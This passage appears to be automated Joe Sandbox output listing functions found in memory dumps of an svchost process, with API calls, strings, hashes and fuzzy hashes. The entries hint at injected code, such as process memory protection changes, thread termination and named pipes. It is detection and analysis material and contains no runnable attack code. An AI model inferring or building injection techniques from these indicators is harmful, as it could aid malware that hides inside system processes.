Instruction ID: dbf7c04510264e3aa80be77e2b965e56a4bbf761f2bbcec70d3958daf628b150
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: 9AD1BA76219B8881DAB09B06E99079A77E8F3C9B84F101116EACE47BB5DF7CC551CB00

Function 0000014E25ED2F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000014E25ED2F27
HeapAlloc.KERNEL32 ref: 0000014E25ED2F3A
StrCmpNIW.SHLWAPI ref: 0000014E25ED2FAF
GetProcessHeap.KERNEL32 ref: 0000014E25ED3015
HeapFree.KERNEL32 ref: 0000014E25ED3023

Strings

dialer, xrefs: 0000014E25ED2FA8

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: 84f0a49ae497355131a2aac26c953b08be1bccc37f8d4e7dda7159b87278197d
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 5B31C732712B6183EB95CF16EE40BA9A7DDFB45B90F0854249E4A47B76EF75C461C300

Function 0000014E25EDCFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0000014E25EDCFAF
FlsSetValue.KERNEL32(?,?,?,0000014E25EDD6B5,?,?,?,?,0000014E25EDD778), ref: 0000014E25EDCFE5
FlsSetValue.KERNEL32(?,?,?,0000014E25EDD6B5,?,?,?,?,0000014E25EDD778), ref: 0000014E25EDD012
FlsSetValue.KERNEL32(?,?,?,0000014E25EDD6B5,?,?,?,?,0000014E25EDD778), ref: 0000014E25EDD023
FlsSetValue.KERNEL32(?,?,?,0000014E25EDD6B5,?,?,?,?,0000014E25EDD778), ref: 0000014E25EDD034
SetLastError.KERNEL32 ref: 0000014E25EDD04F

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 471d6bd78421e7f0d323d5dd982a26040bfcc08c4fbacc160c0418542b83e496
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: 05115E3020224481FAE99B219F45BED61CEBB877F0F146724A837467F6DEE988019341

Function 0000014E25ED199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 0000014E25ED19C2
K32GetModuleFileNameExW.KERNEL32 ref: 0000014E25ED19E0
PathFindFileNameW.SHLWAPI ref: 0000014E25ED19EF
lstrlenW.KERNEL32 ref: 0000014E25ED19FB
StrCpyW.SHLWAPI ref: 0000014E25ED1A0E
CloseHandle.KERNEL32 ref: 0000014E25ED1A1C

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: ca7a516169cdbcbbb0f1702b00ec33b0ff134d6781b8bdceb78e20af0a0e2d48
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 5F016971710B4082EBA4DB52B948B9963E9F788BD4F984035DE4E43766DF7CC989C700

Function 0000014E25ED36C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0000014E25ED36E4
GetCurrentProcess.KERNEL32 ref: 0000014E25ED36F2
VirtualProtectEx.KERNEL32 ref: 0000014E25ED3714
GetCurrentProcess.KERNEL32 ref: 0000014E25ED3732
VirtualProtectEx.KERNEL32 ref: 0000014E25ED3753
TerminateThread.KERNEL32 ref: 0000014E25ED3762

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: cd6817a2b86cb7a5d2c6d38da5d770d31958944fdfcb510b49edaf7ad4408b8a
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: C6012DB5222B4082FFA59B21FD08B9A73E8BB49B96F140528CD4A07775EFBDC1088700

Function 0000014E25ED8FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000014E25ED9013
_IsNonwritableInCurrentImage.LIBCMT ref: 0000014E25ED90A8
RtlUnwindEx.NTDLL ref: 0000014E25ED90F7

Strings

csm, xrefs: 0000014E25ED908E
f, xrefs: 0000014E25ED9026

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction ID: 93b35953c668bdf4a83cbe92be6000289a0aedace6c6c3bd13f063a62a8a3a1a
Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction Fuzzy Hash: 0551BD323126008AEB94DF15EE48F9937DEF366B98F129520EA47877ACDBB5C841C700

Function 0000014E25ED1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 0000014E25ED1A60
StrCmpNIW.SHLWAPI ref: 0000014E25ED1A7A
lstrlenW.KERNEL32 ref: 0000014E25ED1A89
StrCpyW.SHLWAPI ref: 0000014E25ED1A9E

Strings

\\?\, xrefs: 0000014E25ED1A6E

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: eb17f0113111d357bb3c0c2e1e39b944648b27065071a28b27f10ee0fb883d04
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 6EF0A47271064082EBB08F20FA84B9963A8F74CBA8F944020CA4A46A65DFBCC64DCB00

Function 0000014E25EDBC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 0000014E25EDBCBD
GetProcAddress.KERNEL32 ref: 0000014E25EDBCD3
FreeLibrary.KERNEL32 ref: 0000014E25EDBCFA

Strings

mscoree.dll, xrefs: 0000014E25EDBCB4
CorExitProcess, xrefs: 0000014E25EDBCCC

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: ae1ffe23413f3f9ac290ddb9a375ecfb0d94467b0eec39550c61245b0545be19
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: FAF0F6B132270581EF508F24F944B9923ACFB89770F601219CA6B051F4DFBCC044C700

Function 0000014E25ED3044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 0000014E25ED3066
StrCpyW.SHLWAPI ref: 0000014E25ED3076
StrCatW.SHLWAPI ref: 0000014E25ED3082
PathCombineW.SHLWAPI ref: 0000014E25ED3090

Strings

\\.\pipe\, xrefs: 0000014E25ED305C

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: a8a97001e52402dc951ae60ecd85aaaa03d7a8c3e915bbc4e21f66f82a1337c1
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: 0AF08270324B8082EE908F13BB0459962A9BB8CFE0F185130EE4707B39DFBCC8458700

Function 0000014E25ED50D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000014E25ED5156

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: f51a204a033d80b8679267c1f31be89dd82c60e0a798355614f27ff34b059d90
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: 1102CD32619B8486D7A0CB55F99079AB7F8F3C5794F105016EA8E47B68DFBDC854CB00

Function 0000014E25ED5710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000014E25ED5726

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: d9fcac21c386e716bf48634b26dfdb2d1c4fc5b9b771d717854196da0f0511ca
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: AD61AC3651AB44C6E7A4CB15E984B5A77E8F389794F102116EA8E47BB8DBBCC950CF00

Function 0000014E25EE4104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 0000014E25EE412C
_set_statfp.LIBCMT ref: 0000014E25EE4147
_set_statfp.LIBCMT ref: 0000014E25EE4163
_set_statfp.LIBCMT ref: 0000014E25EE419F

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 0b394f0222ad10ed4458312801fa377dc5de40dcb936ecf53148d1b0853e27b0
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 98119E32A30F5021FFE41568EE56BE911C97FAC3B8F380664A977466F68AA8C9414304

Function 0000014E255E3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 0000014E255E352C
_set_statfp.LIBCMT ref: 0000014E255E3547
_set_statfp.LIBCMT ref: 0000014E255E3563
_set_statfp.LIBCMT ref: 0000014E255E359F

Memory Dump Source

Source File: 00000032.00000002.2655117981.0000014E255D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E255D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e255d0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 963a1978ace91ebc5c95c6f5ace322840b4e8d1a0b49158cfbdd5de4de91675c
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: D011E333EF0A0351FA641128E741BE916C97B59371F7B863AA96B063F6CAF4E8424300

Function 0000014E255DF040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0000014E255DF124

Strings

or copy constructor iterator', xrefs: 0000014E255DF25A, 0000014E255DF275
Wednesday, xrefs: 0000014E255DF1ED
Tuesday, xrefs: 0000014E255DF0F4

Memory Dump Source

Source File: 00000032.00000002.2655117981.0000014E255D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E255D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e255d0000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 9797d107109e69bce09e45c8849dd5af6dda54904592a7202821d35037d3ca46
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 0E61D233E8264282FA659BA4EF44FEE66E9FB87780F544519CA0B037B4DBB4D841C700

Function 0000014E25EDAA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 0000014E25EDAA68
_CallSETranslator.LIBVCRUNTIME ref: 0000014E25EDAAB7

Strings

MOC, xrefs: 0000014E25EDAA7C
RCC, xrefs: 0000014E25EDAA85

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: fdb2a3d7d4dbc778feb0db44ec4dd92249fa2fb54b61256c6ae827feb09f3166
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: F061AE33A02B488AEB50DF65D940BDD77E9F345B98F046215EF4A17BA8DBB8C185C700

Function 0000014E25EDAD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000014E25EDADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 0000014E25EDAE88

Strings

csm, xrefs: 0000014E25EDAEDA
csm, xrefs: 0000014E25EDADC2

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 44bf977dff1b5ec5671c769ff3bcf65ab199377a69307d9c1e4287435c2f443d
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: A051B872101380CAEBB48F25DA44BDDB7ECF356B89F146115DA5A47BE5CBB4D690C700

Function 0000014E255DA178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000014E255DA1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 0000014E255DA288

Strings

csm, xrefs: 0000014E255DA2DA
csm, xrefs: 0000014E255DA1C2

Memory Dump Source

Source File: 00000032.00000002.2655117981.0000014E255D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E255D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e255d0000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: c6c76a540a17df33cf6b33b62d86c749f28f34716d9120ac06b738ee0068be7b
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 5751F433941382CAEB748F62DA40BDA77E9F356B84F184115EE4A47BE5CBB8C490C701

Function 0000014E255D8405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000014E255D8413
_IsNonwritableInCurrentImage.LIBCMT ref: 0000014E255D84A8

Strings

csm, xrefs: 0000014E255D848E
f, xrefs: 0000014E255D8426

Memory Dump Source

Source File: 00000032.00000002.2655117981.0000014E255D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E255D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e255d0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 1999b6c2b026b6124529a4adba9e946b963ca658d3889168c5ba82a1dd7089a5
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: C351AF33A426029AEB14CF15EA54F9937D9F352FE8F558124DA17437A8EBB8D840C704

Function 0000014E255D83E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000014E255D8413
_IsNonwritableInCurrentImage.LIBCMT ref: 0000014E255D84A8

Strings

csm, xrefs: 0000014E255D848E
f, xrefs: 0000014E255D8426

Memory Dump Source

Source File: 00000032.00000002.2655117981.0000014E255D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E255D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e255d0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 3dc8e3defbb4cae5588ebab0199bf55474b8a63869ade0abb043a486d88ee41a
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: D6318A32A4264196E7149F11EA44B9937E8F742FE8F158014AE9B437A4DBBCD940CB04

Function 0000014E25EE2058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 0000014E25EE20D7
WriteFile.KERNEL32 ref: 0000014E25EE239F
WriteFile.KERNEL32 ref: 0000014E25EE23E5
GetLastError.KERNEL32 ref: 0000014E25EE249B

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 3f00fd9f30143d8ec0dc68171cd42f49f7c9ce272e972ea8ec581adce4c9e820
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: C9D10372B24A8089E751CFB9D6407DC3BF9F3547A8F244216CE5E97BA9EA74C506C340

Function 0000014E25ED14A4 Relevance: 6.3, APIs: 5, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000014E25ED14C5
HeapFree.KERNEL32 ref: 0000014E25ED14D4
GetProcessHeap.KERNEL32 ref: 0000014E25ED14E1
HeapFree.KERNEL32 ref: 0000014E25ED14F0
GetProcessHeap.KERNEL32 ref: 0000014E25ED1500

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 637b04ff62da02b8b8c355a0b12521a64aeb4c7988103f0530a9550870a0a79b
Instruction ID: b82fb3b3cd8c279cf6941b9ee5c2e82ae40e5202c2e4416826012ed8ae3623a2
Opcode Fuzzy Hash: 637b04ff62da02b8b8c355a0b12521a64aeb4c7988103f0530a9550870a0a79b
Instruction Fuzzy Hash: F00188B2620B90C6EB85DF62FE0469E67E8F789F91F144028EA4E4372ADE78C050C740

Function 0000014E25EE2980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 0000014E25EE2A9C
GetLastError.KERNEL32 ref: 0000014E25EE2B27

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: 667ac3d07cb23805d030a7f0e5a818e80c7b8aff588618ff8d56236ba759a437
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: 3991E472B20A5085FBA1DF75DA40BED3BE9B744BA8F244109DE0B676A5DBB4C482C700

Function 0000014E25ED7960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 0000014E25ED798C
GetCurrentThreadId.KERNEL32 ref: 0000014E25ED799A
GetCurrentProcessId.KERNEL32 ref: 0000014E25ED79A6
QueryPerformanceCounter.KERNEL32 ref: 0000014E25ED79B6

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 352795bb2acd6d720caa6935447fbf89c0e2d7ba74be2edce17ed9c1fa8f5351
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: C9113032720F0589EF40CF60ED557E833A8F759768F441E25DA6E467A5DFB8C1988380

Function 0000014E25ED253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0000014E25ED2620
StrCpyW.SHLWAPI ref: 0000014E25ED2639

Strings

\\.\pipe\, xrefs: 0000014E25ED262B

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: 3de46b81bbb003b110b723b7cc6fb6e414f3f1eb92d30ba74537780c1b1e2005
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: CB71B13620178186EBF49F25EE44BEA67DCF38AB84F542026DD0B53BA9DEB5C6458700

Function 0000014E255D9E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 0000014E255D9EB7

Strings

RCC, xrefs: 0000014E255D9E85
MOC, xrefs: 0000014E255D9E7C

Memory Dump Source

Source File: 00000032.00000002.2655117981.0000014E255D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E255D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e255d0000_svchost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 4f5b99736065405e28801979f0886448ceaedeffcf3269bf2fc32525654e0c9f
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 99615633A02B858AEB20DF65D980BDD77B4F349B98F044215EF4A17BA8DBB8D195C740

Function 0000014E25ED2330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0000014E25ED2416
StrCpyW.SHLWAPI ref: 0000014E25ED242D

Strings

\\.\pipe\, xrefs: 0000014E25ED2421

Memory Dump Source

Source File: 00000032.00000002.2659080520.0000014E25ED0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E25ED0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_14e25ed0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 47ea13e0a66e27f5222f985dc41e25c44af3528301242c2dfdf270eb08d24527
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: DE51183220638181E6B5CF29AA58BFA67DEF387790F442125DD9B03BB9CAB9C504C740

Function 0000014E25EE26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 0000014E25EE2807
GetLastError.KERNEL32 ref: 0000014E25EE2829

Strings

U, xrefs: 0000014E25EE27B3

Memory Dump Source

